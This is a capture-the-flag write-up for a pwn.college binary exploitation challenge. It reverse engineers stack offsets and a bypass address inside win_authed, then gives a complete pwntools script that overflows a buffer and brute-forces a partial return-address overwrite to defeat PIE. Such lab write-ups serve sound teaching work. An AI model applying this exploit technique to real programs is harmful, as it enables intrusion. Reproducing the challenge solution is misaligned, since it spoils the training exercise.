PIEs_Hard
WriteUp — PIE Overflow (Hard)
Challenge
Source: PwnCollege — Binary Exploitation track Binary: binary-exploitation-pie-overflow Objective: PIE + no debug output + no source. Reverse engineer all offsets and brute-force the partial overwrite nibble.
Binary properties (checksec)
| Mitigation | Status |
|---|---|
| Arch | amd64-64-little |
| RELRO | Full RELRO |
| Stack Canary | Disabled |
| NX | Enabled |
| PIE | Enabled |
| Stripped | No |
Reverse engineering
Step 1: Find buffer & return address offset
Disassemble challenge():
challenge:
push %rbp
mov %rsp,%rbp
sub $0x60,%rsp ; 96-byte frame
; Buffer init: 6 × movq = 48 bytes
movq $0x0,-0x40(%rbp) ; input[0..7]
movq $0x0,-0x38(%rbp) ; input[8..15]
movq $0x0,-0x30(%rbp) ; input[16..23]
movq $0x0,-0x28(%rbp) ; input[24..31]
movq $0x0,-0x20(%rbp) ; input[32..39]
movq $0x0,-0x18(%rbp) ; input[40..47]
movq $0x1000,-0x8(%rbp) ; size = 4096
lea -0x40(%rbp),%rax ; buffer @ rbp-0x40
call read@plt ; read(0, buf, 4096)
mov %eax,-0xc(%rbp) ; received @ rbp-0xc
call puts ; "Goodbye!"
mov $0x0,%eax
leaveq
retq ; ← overflow target
Stack layout:
| Variable | rbp offset | offset from buffer |
|---|---|---|
| input[0] | -0x40 | 0 |
| input[47] | -0x19 | 47 |
| gap | -0x18..-0x0d | 48-51 |
| received | -0x0c | 52 |
| size | -0x08 | 56 |
| saved rbp | +0x00 | 64 |
| ret addr | +0x08 | 72 |
Step 2: Find win_authed bypass address
0000000000001fd4 <win_authed>:
1fe3: cmpl $0x1337,-0x4(%rbp) ; token guard
1fea: jne 20ee ; bad token → bail
1ff0: lea ...,%rdi ; ← BYPASS @ 0x1ff0
Bypass offset: 0x1ff0 (0x1c bytes past win_authed entry).
Step 3: Partial overwrite values
1
2
3
bypass = 0x1ff0
├── Lower 12 bits: 0xff0 ← deterministic (page alignment)
└── 4th nibble: 0x1 ← brute-force (1/16)
Payload: 72 bytes junk + p16((nibble << 12) | 0xff0).
Exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from pwn import *
import os, re
context.arch = 'amd64'
context.log_level = 'warn'
BIN = '/challenge/binary-exploitation-pie-overflow' if os.path.exists(
'/challenge/binary-exploitation-pie-overflow'
) else './binary-exploitation-pie-overflow'
elf = ELF(BIN)
offset_to_ret = 72 # RE from challenge(): rbp+8 - rbp-0x40
bypass_low12 = 0xff0 # lower 12 bits of win_authed bypass (0x1ff0)
for attempt in range(1, 200):
nibble = (attempt - 1) % 16
target_low16 = (nibble << 12) | bypass_low12
p = process(elf.path)
p.recvuntil(b'Send your payload')
p.send(b'A' * offset_to_ret + p16(target_low16))
output = p.recvall(timeout=2).decode()
p.close()
if 'pwn.college' in output:
flag = re.search(r'(pwn\.college\{[^}]+\})', output).group(1)
print(f"[+] Attempt {attempt}: nibble={nibble:#x} → {flag}")
break
Key takeaways
- Full RE from binary only — buffer size from counting
movqinit instructions (6×8=48), offset from buffer-to-return-address subtraction (72), bypass from disassembling win_authed (0x1ff0). - PIE partial overwrite pattern — same as easy: lower 12 bits deterministic, nibble brute-forced. Only the constants change (0xff0 instead of 0xc3d, 72 instead of 56).
- No canary — confirmed by absence of
fs:0x28and__stack_chk_fail. - win_authed bypass is always 0x1c bytes in —
cmpl $0x1337(7 bytes) +jne(6 bytes) + some setup (prologue). Offset from entry to bypass is consistent across challenges.
This post is licensed under CC BY 4.0 by the author.